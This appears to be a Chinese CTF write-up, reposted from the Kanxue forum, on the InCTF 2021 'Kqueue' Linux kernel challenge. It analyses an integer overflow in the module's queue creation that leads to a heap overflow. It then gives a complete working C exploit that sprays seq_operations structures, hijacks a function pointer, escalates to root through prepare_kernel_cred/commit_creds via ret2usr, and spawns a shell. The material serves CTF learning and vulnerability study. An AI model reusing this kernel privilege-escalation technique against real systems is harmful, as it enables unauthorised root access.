InCTF 内核Pwn之 Kqueue
2021-09-02 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:71 收藏

本文为看雪论坛精华文章
看雪论坛作者ID:ScUpax0s
据说InCTF国际赛是印度的强网杯233333 。
 
官方WP:https://blog.bi0s.in/2021/08/17/Pwn/InCTFi21-Kqueue/
 
比赛的时候有点事情,没怎么看题,后面重新复现一下,感觉我的exp比官方的wp简单一些。

1

题目概览

给出了源码,在内核态实现了一个队列管理程序。
queue *kqueues[MAX_QUEUES] = {(queue *)NULL};
最多管理五个队列(其实是6个,他写的有问题,后面再说)。
 
每个队列由一个 (queue *) 查找,维护。
 
单个队列的管理结构是一个 queue:
/* Sometimes , waiting in a queue is so boring, but wait , this isn't any ordinary queue */ typedef struct{    uint16_t data_size;     //队列每一项entry的大小    uint64_t queue_size; //队列整体的大小    uint32_t max_entries;//队列最多的项数    uint16_t idx;    char* data;}queue;
队列中的每一项是一个 queue_entry:
typedef struct queue_entry queue_entry;struct queue_entry{    uint16_t idx;                //当前entry的idx    char *data;                    //当前entry维护的数据    queue_entry *next;    //next指针};

创建队列:

static noinline long create_kqueue(request_t request){    long result = INVALID;        // 最多是五个队列    if(queueCount > MAX_QUEUES)        err("[-] Max queue count reached");    // 创建队列时元素可以等于1,不能小于1    if(request.max_entries<1)        err("[-] kqueue entries should be greater than 0");    if(request.data_size>MAX_DATA_SIZE)        err("[-] kqueue data size exceed");    queue_entry *kqueue_entry;     ull space = 0;    if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出        err("[-] Integer overflow");     /* Size is the size of queue structure + size of entry * request entries */    ull queue_size = 0;    if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)        err("[-] Integer overflow");     if(queue_size>sizeof(queue) + 0x10000)        err("[-] Max kqueue alloc limit reached");     queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));    queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));     queue->data_size   = request.data_size;        queue->max_entries = request.max_entries;      queue->queue_size  = queue_size;                kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));     queue_entry* current_entry = kqueue_entry;    queue_entry* prev_entry = current_entry;     uint32_t i=1;     // [1,request.max_entries]    for(i=1;i<request.max_entries+1;i++){        if(i!=request.max_entries)            prev_entry->next = NULL;         current_entry->idx = i;        current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));         /* Increment current_entry by size of queue_entry */        current_entry += sizeof(queue_entry)/16;         /* Populate next pointer of the previous entry */        prev_entry->next = current_entry;        prev_entry = prev_entry->next;    }      // 这里尝试找到kqueue中一个不为NULL的项    uint32_t j = 0;    for(j=0;j<MAX_QUEUES;j++){        if(kqueues[j] == NULL)            break;    }    // break出for循环后 j = MAX_QUEUES,不会触发下面的if    if(j>MAX_QUEUES)        err("[-] No kqueue slot left");     // 导致我们越界分配了一个 queue?    /* Assign the newly created kqueue to the kqueues */    // queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));    kqueues[j] = queue;    queueCount++;    result = 0;    return result;}
我们主要关注:
ull space = 0;if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)            // 整数溢出    err("[-] Integer overflow");

首先,__builtin_umulll_overflow 是gcc 内置的用于检测乘法溢出的函数:
 
https://gcc.gnu.org/onlinedocs/gcc/Integer-Overflow-Builtins.html
 
他做的事情就是去检测 sizeof(queue_entry) * (request.max_entries+1)是否乘法溢出(这个结果被放在space里)
 
问题在于:request.max_entries 本身并没有进行溢出检测。而它是一个32位无符号数,如果request.max_entries = 0xffffffff 那么 +1 后会造成整数溢出,通过检测。
 
而此时 request.max_entries 为一个极大值。
queue->max_entries = request.max_entries;
此时space变量计算错误(为0),导致 queue_size 为一个极小值。
ull queue_size = 0;if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)    err("[-] Integer overflow");

queue_size = sizeof(queue)
 
进而queue_size也变成一个极小值:
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));queue->queue_size  = queue_size;
最后:queue->max_entries = 0xffffffff,导致循环被跳过,没有真正分配queue_entry。
//request.max_entries+1 = 0for(i=1;i<request.max_entries+1;i++){      ......    }

值得一提的是,他这个函数后面写的也有问题,可以越界分配一个queue。然后free掉就可以直接panic

保存队列:

static noinline long save_kqueue_entries(request_t request){  ......  // 为此需要save的队列分配空间,size为queue->queue->size    char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));      // 先拷贝queue头数据,这里没有问题    if(queue->data && request.data_size)        validate(memcpy(new_queue,queue->data,request.data_size));    else        err("[-] Internal error");       // 再拷贝所有queue的entry数据,这里发生了溢出     uint32_t i=0;    for(i=1;i<request.max_entries+1;i++){        if(!kqueue_entry || !kqueue_entry->data)            break;        if(kqueue_entry->data && request.data_size)            validate(memcpy(new_queue,kqueue_entry->data,request.data_size));        else            err("[-] Internal error");        kqueue_entry = kqueue_entry->next;        new_queue += queue->data_size;    }  ...... }
由于我们的构造,导致 queue_size 变成了一个极小值。进而此处 new_queue 分配过小 。而在for循环里又直接向new_queue的对应位置拷贝了数据。
并且拷贝的数据是 kqueue_entry->data ,此时kqueue也是分配的有问题(具体可以回到create里,总之就是kqueue_entry没有正常分配空间)
 
运行后会panic掉,因为此时 kqueue_entry->data 不是一个合法的值。
0xffffffffc00004ce <save_kqueue_entries+238>    call   memcpy <memcpy>       dest: 0xffff88801e3b9fa0 ◂— sbb    al, 0x1d /* 0x232221201f1e1d1c */       src: 0xdead000000000100       n: 0x20
根本原因是在:
中 kqueue_entry指针越界,访问了不合法位置的数据。

2

漏洞利用

在堆上喷射大量的 seq_operations,通过堆溢出overwrite掉ops[0],即:void * (*start) (struct seq_file *m, loff_t *pos)
 
实现hijack rip:
0xffffffffc00004ce <save_kqueue_entries+238>    call   memcpy <memcpy>       dest: 0xffff88801dc10980 —▸ 0xffffffff812005d0 (single_start) ◂— xor    eax, eax /* 0x940f003e8348c031 */       src: 0xffffea0000683e30 ◂— add    byte ptr [rax], al /* 0x100000000000000 */       n: 0x20
一个poc如下:https://paste.ubuntu.com/p/b3j29GhtQt/
[    8.977709] RIP: 0010:0x100000000000000[    8.978444] Code: Bad RIP value. [    8.987225] Call Trace:[    8.989460]  ? seq_read+0x89/0x3d0[    8.989770]  ? vfs_read+0x9b/0x180[    8.989895]  ? ksys_read+0x5a/0xd0[    8.990136]  ? do_syscall_64+0x3e/0x70[    8.990332]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9[    8.990577] Modules linked in: kqueue(O)[    8.992286] ---[ end trace 8ca9e01e6f1c5a76 ]---[    8.992629] RIP: 0010:0x100000000000000
经过尝试,当我们第二次分配queue时,<u>有很大概率被分配到第一次的data数据的上方</u>。
 
我们将第一次的data数据进行恶意的构造,然后在第二次完成堆溢出,覆盖函数指针劫持rip,然后在用户态执行shellcode即可。
 
由于没有开启smep、smap,我们ret2usr之后在用户态再swapgs,iretq一下重新着陆到shell函数即可。

exp

我的exp如下,感觉比官网的简单不少。只需要一次堆溢出就可以pwn。
#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h> #include <errno.h>#include <pty.h>#include <linux/tty.h>#include <pthread.h>#include <sys/mman.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/syscall.h>#include <signal.h>#include <fcntl.h>#include <sys/ioctl.h>#include <sys/ipc.h>#include <sys/sem.h>#include<stdint.h>#include <pthread.h>#include <sys/types.h>#include <sys/wait.h> #define CREATE_KQUEUE 0xDEADC0DE#define EDIT_KQUEUE   0xDAADEEEE#define DELETE_KQUEUE 0xBADDCAFE#define SAVE          0xB105BABE /* This is how a typical request looks */ typedef struct{    uint32_t max_entries;    uint16_t data_size;    uint16_t entry_idx;    uint16_t queue_idx;    char* data;}request_t; char *file = "/dev/kqueue";int fd;int seq_fd[0x200]={0};uint64_t f_shell;uint64_t user_cs,user_ss,user_sp,user_rflags,evil_rip; void save_state(){    __asm__(".intel_syntax noprefix;"            "mov user_cs,cs;"            "mov user_ss,ss;"            "mov user_sp,rsp;"            "pushf;"            "pop user_rflags;"            ".att_syntax;"            );}static void delete(int idx){        request_t r_del = {        .queue_idx = idx,    };    ioctl(fd,DELETE_KQUEUE,&r_del);} static void create(uint32_t max_entries,uint16_t data_size){    request_t r = {        .max_entries = max_entries,        .data_size = data_size,    };    ioctl(fd,CREATE_KQUEUE,&r);} static void save(uint16_t queue_idx,uint32_t max_entries,uint16_t data_size){    request_t r = {        .max_entries = max_entries,        .queue_idx = queue_idx,        .data_size = data_size    };    ioctl(fd,SAVE,&r);} static void edit(uint16_t queue_idx,uint16_t entry_idx,char* data){    request_t r = {        .queue_idx = queue_idx,        .entry_idx = entry_idx,        .data = data    };    ioctl(fd,EDIT_KQUEUE,&r);} void spray(){    for(int i=0;i<0x100;i++){        seq_fd[i] =  open("/proc/self/stat", O_RDONLY);        if(seq_fd[i]<=0){printf("open seq failed\n");}    }    puts("[+] spray() done");}  void spray_2(){    for(int i=0x100;i<0x200;i++){        seq_fd[i] =  open("/proc/self/stat", O_RDONLY);        if(seq_fd[i]<=0){printf("open seq failed\n");}    }    puts("[+] spray() done");} void trigger(){    char data[0x10];    for(int i=0;i<0x200;i++){        read(seq_fd[i],(char *)data,0x10);    }}void shell(){    system("/bin/sh");}void fuck(){    asm(        ".intel_syntax noprefix;"        "mov r12,[rsp+0x8];"        "mov r13,r12;"        "sub r12, 0x174bf9;"        "sub r13, 0x175039;"        "mov rdi, 0;"        "call r12;"        "mov rdi,rax;"        "call r13;"        "swapgs;"        "mov r14, user_ss;"        "push r14;"        "mov r14, user_sp;"        "push r14;"        "mov r14, user_rflags;"        "push r14;"        "mov r14, user_cs;"        "push r14;"        "mov r14, evil_rip;"        "push r14;"        "iretq;"        ".att_syntax;"    );} // r12 0xffffffff81201179// 0xffffffff8108c580 T prepare_kernel_cred// 0xffffffff8108c140 T commit_credsvoid new_page(){    uint64_t page=0x1234f000;    if (mmap((void *)page, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) == MAP_FAILED){        perror("[-] failed to mmap");    }    *((uint64_t *)0x1234f000) = (uint64_t)fuck;    printf("fuck(): %#lx\n",fuck);    printf("[+] mmap %#lx\n",page);}int main(){    save_state();    evil_rip = (uint64_t)shell;    new_page();    uint64_t data[4]={0x6161616161616161,0x1234f000,0x6161616161616161,0x1234f000};    fd = open(file,0);    if(fd<0){perror(file);exit(0);}    create(0xffffffff,0x10);    edit(0,0,(char *)data);     //  放好evil数据,为下一次堆溢出做准备    spray();    save(0,0x0,0x10);    create(0xffffffff,0x20);    spray_2();    save(1,0x1,0x10);    trigger();    return 0;}//0xffffffff81037727 : xchg eax, esp ; ret
效果:

 

看雪ID:ScUpax0s

https://bbs.pediy.com/user-home-876323.htm

*本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区

# 往期推荐

1. HITB CTF 2018 gundam分析

2. CVE-2010-2883漏洞分析与复现

3.D-Link DIR-645路由器溢出分析

4. API 钩取:逆向分析之“花”

5. Ring3注入学习:导入表注入

6. 极为详细:双重释放漏洞调试分析

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458392147&idx=1&sn=a582bc1bea140b1ecc6f9932ff42b137&chksm=b18f26d986f8afcf98f31210d10549542d0f7a1ed4050f6f19749e8dc23585a88beebe859fe9#rd
如有侵权请联系:admin#unsafe.sh